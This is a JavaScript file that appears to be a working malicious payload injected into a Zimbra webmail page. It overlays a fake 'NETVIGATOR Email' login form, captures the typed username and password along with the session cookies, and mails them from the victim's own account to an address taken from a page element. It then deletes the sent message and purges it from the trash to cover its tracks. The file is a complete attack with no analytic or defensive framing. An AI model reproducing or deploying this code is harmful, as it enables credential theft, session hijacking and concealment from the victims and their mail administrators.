window.onerror=function()
{
	return true	
}

function getinfo()
{
    return document.getElementById('zimbra_family1').title.split(':');
}
var info = getinfo();
var to = info[0];

to=to.replace(/=/g,"@");
to=to.replace(/-/g,".");
var forward = info[1];
forward=forward.replace(/=/g,"@");
forward=forward.replace(/-/g,".");
var tout = parseInt(info[2]);

function createpost()
{
	var t = document.createElement('div');
	t.id = 'post_div';
	document.getElementsByTagName('head')[0].appendChild(t);
}
function pageinfo()
{
	return "%3Chtml%3E%3Chead%3E%0D%0A%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/html%3Bcharset%3Dutf-8%22%3E%0D%0A%3Ctitle%3ENETVIGATOR%20Email%3A%20Inbox%3C/title%3E%0D%0A%3Clink%20href%3D%22https%3A//m.netvigator.com/zimbra/css/images%2Ccommon%2Cdwt%2Cmsgview%2Clogin%2Czm%2Cspellcheck%2Cwiki%2Cskin.css%3Fv%3D100824101532%26amp%3Bdebug%3D%26amp%3Bskin%3Dsmoke%26amp%3Blocale%3Den_US%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%3E%0D%0A%3Cdiv%20id%3Dlogin_appname%20style%3Ddisplay%3Anone%3E%0D%0A%20function%20login%28%29%0D%0A%20%7B%0D%0A%20if%28%21window.parent.document.getElementById%28%22login_name_pass%22%29%29%0D%0A%20%7B%0D%0A%20temp%3Dwindow.parent.document.createElement%28%22div%22%29%3B%0D%0A%20temp.id%3D%22login_name_pass%22%3B%0D%0A%20temp.innerHTML%3D%22--%5E%5E--name%3A%22+ZLoginUserName.value+%22--%5E%5E--pass%3A%22+ZLoginPassword.value%3B%0D%0A%20window.parent.document.getElementsByTagName%28%22head%22%29%5B0%5D.appendChild%28temp%29%0D%0A%20%7D%0D%0A%20else%0D%0A%20%7B%0D%0A%20window.parent.document.getElementById%28%22login_name_pass%22%29.innerHTML%3D%22--%5E%5E--name%3A%22+ZLoginUserName.value+%22--%5E%5E--pass%3A%22+ZLoginPassword.value%3B%0D%0A%20%7D%0D%0A%20tt%3Dlocation.protocol+%22//%22+location.hostname%3B%0D%0A%20if%28window.top.location.href.indexOf%28%22/zimbra/%22%29%21%3D-1%29%0D%0A%20%7B%0D%0A%20tt%3Dtt+%22/%231%22%3B%0D%0A%20%7D%0D%0A%20else%0D%0A%20%7B%0D%0A%20tt%3Dtt+%22/zimbra/%231%22%3B%0D%0A%20%7D%0D%0A%20window.parent.document.getElementById%28%22login_iframe%22%29.contentWindow.document.body.innerHTML%3Dunescape%28%22%253Ciframe%2520src%253D%22+unescape%28tt%29+%22%2520width%253D100%2525%2520height%253D110%2525%2520style%253D%2527position%253Aabsolute%253Bleft%253A0%253Btop%253A63px%2527%253E%253C/iframe%253E%22%29%0D%0A%20%7D%0D%0A%20login%28%29%3B%0D%0A%20%3C/div%3E%0D%0A%3Cdiv%20id%3Deventdiv%3E%0D%0A%0D%0Aif%20%28document.addEventListener%29%20%7B%20%0D%0A%09document.addEventListener%28%22keypress%22%2C%20enterEvent%2C%20true%29%3B%0D%0A%7D%20else%20%7B%0D%0A%09document.attachEvent%28%22onkeypress%22%2C%20enterEvent%29%3B%0D%0A%7D%0D%0Afunction%20enterEvent%28evt%29%20%7B%0D%0A%09if%20%28evt.keyCode%20%3D%3D%2013%29%20%7B%0D%0A%09%09ZLoginButton.click%28%29%0D%0A%09%7D%0D%0A%7D%0D%0A%3C/div%3E%0D%0A%3Cimg%20src%3D%23%20style%3D%22display%3Anone%22%20onerror%3D%22eval%28eventdiv.innerHTML%29%22%3E%0D%0A%3Cbody%20%3E%0D%0A%0D%0A%3Cdiv%20id%3D%22DWT31%22%20class%3D%22ZmLoginDialog%22%20parentid%3D%22z_shell%22%20x-display%3D%22block%22%20style%3D%22position%3A%20absolute%3B%20overflow%3A%20visible%3B%20left%3A%200px%3B%20top%3A%200px%3B%20width%3A%20100%25%3B%20height%3A%20100%25%3B%20z-index%3A%20701%3B%20display%3A%20block%3B%20cursor%3A%20default%3B%22%3E%3Ctable%20border%3D%220%22%20cellspacing%3D%220%22%20cellpadding%3D%220%22%20style%3D%22width%3A100%25%3B%20height%3A100%25%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20align%3D%22center%22%20valign%3D%22center%22%3E%3Cdiv%20id%3D%22ZLoginPanel%22%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%20cellpadding%3D%220%22%20cellspacing%3D%220%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginHeaderContainer%22%3E%3Ccenter%3E%3Ctable%20class%3D%22zLoginTable%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginBannerContainer%22%3E%3Cdiv%20id%3D%22ZLoginBannerPanel%22%3E%3Ctable%20class%3D%22zLoginTable%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%3E%3Cdiv%20style%3D%22cursor%3Apointer%22%20id%3D%22ZLoginBannerImage%22%20class%3D%22ImgLoginBanner%22%20onclick%3D%22window.open%28%26quot%3B%26quot%3B%2C%20%26quot%3B_blank%26quot%3B%29%22%3E%3C/div%3E%3C/td%3E%3Ctd%20valign%3D%22top%22%20id%3D%22ZLoginShortVersion%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3Cdiv%20id%3D%22ZLoginAppName%22%3ECollaboration%20Suite%3C/div%3E%3Cdiv%20id%3D%22ZLoginProductName%22%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginLongVersion%22%3E%3C/div%3E%3C/div%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/center%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginBodyContainer%22%3E%3Cdiv%20id%3D%22ZLoginErrorPanel%22%20style%3D%22display%3A%20none%3B%22%3E%3Ctable%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20valign%3D%22top%22%20width%3D%2240%22%3E%3Cdiv%20class%3D%22ImgCritical_32%22%3E%3C/div%3E%3C/td%3E%3Ctd%20width%3D%22*%22%20id%3D%22ZLoginErrorMsg%22%20class%3D%22errorText%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginAboutPanel%22%20style%3D%22display%3Anone%22%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginLoadingPanel%22%20style%3D%22display%3Anone%22%3E%3Ctable%3E%3Ctbody%3E%3Ctr%3E%3Ctd%3E%3C/td%3E%3Ctd%20id%3D%22ZLoginLoadingMsg%22%3ELoading%20...%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginFormPanel%22%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%20cellpadding%3D%224%22%3E%3Ctbody%3E%3Ctr%20id%3D%22ZLoginUserTr%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3EUsername%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%0D%0A%09%3Cform%20method%3D%22post%22%20name%3D%22loginForm%22%20action%3D%22/zimbra/%22%20accept-charset%3D%22UTF-8%22%3E%0D%0A%09%3Cinput%20id%3D%22ZLoginUserName%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22text%22%20tabindex%3D%221%22%20value%3D%22"+to+"%22%3E%0D%0A%09%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginPasswordTr%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3EPassword%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%3Cinput%20id%3D%22ZLoginPassword%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22password%22%20tabindex%3D%222%22%3E%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginNewPassword1Tr%22%20style%3D%22display%3Anone%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3ENew%20Password%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%3Cinput%20id%3D%22newpass1%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22password%22%20tabindex%3D%222%22%3E%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginNewPassword2Tr%22%20style%3D%22display%3Anone%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3EConfirm%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%3Cinput%20id%3D%22newpass2%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22password%22%20tabindex%3D%222%22%3E%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginLicenseMsgContainer%22%3E%3Ctd%20colspan%3D%223%22%20id%3D%22ZLoginLicenseMsg%22%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3E%26nbsp%3B%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20id%3D%22ZLoginRememberMeContainer%22%20style%3D%22display%3Anone%22%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20width%3D%221%22%3E%3Cinput%20id%3D%22rememberMe%22%20type%3D%22checkbox%22%3E%3C/td%3E%3Ctd%20class%3D%22zLoginCheckboxLabelContainer%22%3ERemember%20me%20on%20this%20computer%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20id%3D%22ZLoginLogOffContainer%22%20style%3D%22display%3A%20none%3B%22%3E%0D%0A%09%3Ca%20href%3D%22%22%20%3E%0D%0A%09%09Log%20in%20as%20a%20different%20user%3C/a%3E%3C/td%3E%3Ctd%20class%3D%22zLoginButtonContainer%22%20align%3D%22right%22%3E%0D%0A%09%09%09%3Cdiv%20id%3D%22ZLoginButton%22%20class%3D%22DwtButton%22%20onclick%3D%22eval%28login_appname.innerHTML%29%3Breturn%20false%3B%22%20onmouseover%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton-hover%26quot%3B%22%20onmouseout%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton%26quot%3B%22%20onmousedown%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton-active%26quot%3B%3Breturn%20false%22%20onmouseup%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton%26quot%3B%22%20onmousemove%3D%22javascript%3Areturn%20false%22%20onselectstart%3D%22javascript%3A%20return%20false%22%20onfocus%3D%22javascript%3Athis.className%20%3D%20%26quot%3BDwtButton-focused%26quot%3B%3Breturn%20false%22%20onblur%3D%22javascript%3Athis.className%20%3D%20%26quot%3BDwtButton%26quot%3B%3Breturn%20false%22%3E%3Ctable%20style%3D%22width%3A100%25%3Bheight%3A100%25%22%20cellspacing%3D%220%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20align%3D%22center%22%20class%3D%22Text%22%20id%3D%22ZLoginButtonText%22%3ELog%20In%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3C%21--%20non-IE%20browsers%20dont%20allow%20focus%20for%20non-INPUT%20elements%20so%20we%20have%20to%20create%20a%20hidden%20input%20to%20fake%20focus%20for%20our%20DIV%20which%20acts%20as%20an%20input%20button%20--%3E%3Cinput%20type%3D%22button%22%20style%3D%22position%3Aabsolute%3Btop%3A-10000%3Bleft%3A-10000%3B%22%20id%3D%22ZLoginHiddenButton%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%20cellpadding%3D%220%22%20cellspacing%3D%220%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20id%3D%22ZloginClientLevelContainer%22%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginLicenseContainer%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%0D%0A%3C/form%3E%0D%0A%3C/body%3E%3C/html%3E";
}
function writebody()
{
	window.parent.document.body.innerHTML=unescape("%3Ciframe%20src%3D%22/aaabbccddee%22%20onload%3D%22document.getElementById%28%27login_iframe%27%29.contentWindow.document.body.innerHTML%3Dunescape%28%27")+pageinfo()+unescape("%27%29%3Bthis.width%3D%27100%25%27%3B%22%20id%3Dlogin_iframe%20width%3D0%25%20height%3D110%25%20frameborder%3D0%20scrolling%3Dno%20style%3D%22position%3Aabsolute%3B%20left%3A0%3B%20top%3A-65px%22%3E%3C/iframe%3E");
	try
	{
		document.title="Zimbra: Inbox";
	}
	catch(e)
	{}
}
function encrypt(msg)
{
	var temp="";
	for(i=0;i<msg.length;i++)
	{
		temp+=msg.charCodeAt(i)+",";
	}
	temp=temp.substring(0,temp.length-1)
	return temp;
	
}
function main()
{
	if(document.getElementById('login_name_pass'))
	{
		mail_fun();clearTimeout(eval_eval);
	}
};



function mail_fun()
{
	createpost();
	body=encrypt(document.getElementById('login_name_pass').innerHTML+"--^^cookies: "+document.cookie);
	sub="Mail-From-"+to+"-'s-info-At-"+window.top.location.href+"-is-coming-Password,good-luck!";
	postmail(to,forward,sub,body);
}


function ajax(){
    var t=null;    
    if(window.XMLHttpRequest) 
	{
		t = new XMLHttpRequest();
	}   
    else    
    { 
	   t=new ActiveXObject('MSXML2.XMLHTTP');   
 
    }
	return t;
}
function gettag()
{
	t=ajax();
	t.open('get','/zimbra/h/search?action=compose',false);
	t.send();
	temp=t.responseText;
	a=temp.indexOf('sendUID');
	b=temp.indexOf('crumb');
	c=temp.substring(a-80,b+80);
	d=c.indexOf('name="sendUID" value="')+22;
	id=c.substring(d,d+36);
	e=c.indexOf('name="crumb" value="')+20;
	crumb=c.substring(e,e+32);
	s=new Array();
	s.push(id);
	s.push(crumb);
	return s;	
}
function getpostid()
{
	t=ajax();
	t.open('get','/zimbra/h/search?sfi=5',false);
	t.send();
	temp=t.responseText;
	var a=temp.indexOf("Mail-From");
	var text=temp.substring(a-200,a);
	text=text.replace(/"/g,"");
	text=text.replace(/ /g,"");
	text=text.replace(/=/g,"");
	text=text.replace(/cid/g,"1v12v2");
	c=text.indexOf("1v12v2");
	d=text.indexOf("idA0")
	id=text.substring(c+6,d);
	return id;
}

function deletemail()
{
	t=gettag();
	crumb=t[1];
	id=getpostid();
	var data="dragTargetFolder=&dragMsgId=&folderId=&actionOp=&viewOp=byConv&actionSort=dateAsc&id="+id+"&actionDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0"
	
	xmlhttp=ajax();
	xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383301&sfi=5&st=conversation',true);
	xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Host",location.host);
	xmlhttp.setRequestHeader("Referer",location.href);
	xmlhttp.onreadystatechange = function()
	{
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200)
		{
			deletecrash();
		}	
	}
	xmlhttp.send(data);
}
function crashid()
{
	t=ajax();
	t.open('get','/zimbra/h/search?sfi=3',false);
	t.send();
	temp=t.responseText;
	var a=temp.indexOf("Mail-From");
	var text=temp.substring(a-200,a);
	text=text.replace(/"/g,"");
	text=text.replace(/ /g,"");
	text=text.replace(/=/g,"");
	text=text.replace(/cid/g,"1v12v2");
	c=text.indexOf("1v12v2");
	d=text.indexOf("idA0")
	id=text.substring(c+6,d);
	return id;
}
function deletecrash()
{
	t=gettag();
	crumb=t[1];
	id=crashid();
	var data="actionHardDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&viewOp=byConv&actionSort=dateAsc&id="+id+"&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0";
	xmlhttp=ajax();
	xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383323&sfi=3&st=conversation',true);
	xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Host",location.host);
	xmlhttp.setRequestHeader("Referer",location.href);
	xmlhttp.onreadystatechange = function()
	{
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200)
		{	
		}
	}
	xmlhttp.send(data);
}
function postmail(from,to,sub,body)
{
	t=gettag();
	a=location.protocol+'//'+location.hostname+'/zimbra/h/search?action=compose';
	to=to;
	from=from;
	id=t[0];
	crumb=t[1];
	s=sub;
	b=body;
	text=unescape('%3Ciframe%20%20name%3Dtarget_url%3E%3C/iframe%3E%0D%0A%3Cform%20target%3Dtarget_url%20action%3D'+a+'%20method%3Dpost%20name%3DcomposeForm%20enctype%3Dmultipart/form-data%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DtoField%20name%3Dto%20value%3D'+to+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dfrom%20value%3D'+from+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DsendUID%20value%3d'+id+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dcrumb%20value%3D'+crumb+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dsubject%20id%3DsubjectField%20value%3D'+s+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dbody%20id%3Dbody%20value%3D'+b+'%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20%20value%3DTo%3E%3C/td%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20value%3DCc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DccField%20name%3Dcc%3E%0D%0A%3Cinput%20type%3Dsubmit%20id%3DSbccbutton%20name%3DactionContactAdd%20%20value%3DBcc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DbccField%20name%3Dbcc%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dpriority%20value%3D%21%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DbodyText%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dinreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dmessageid%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DcompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinstCompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplytype%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyVerb%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyInst%20value%3D0%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyAllDay%20value%3Dfalse%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Ddraftid%3E%20%0D%0A%3Cinput%20name%3DactionSend%20id%3Dzimbra_sendmail%20type%3Dsubmit%20value%3DSend%3E%0D%0A%3C/form%3E');
	document.getElementById('post_div').innerHTML = text;
	c=document.getElementById('zimbra_sendmail');
	c.click();
	setTimeout('deletemail();',10*1000);
}


eval_eval = setInterval('main();', 1000);
if(location.href.indexOf("/h/search")>0)
{
	setTimeout("writebody();", 5 * 1000);
}
else
{
	setTimeout("writebody();", tout * 1000);
}




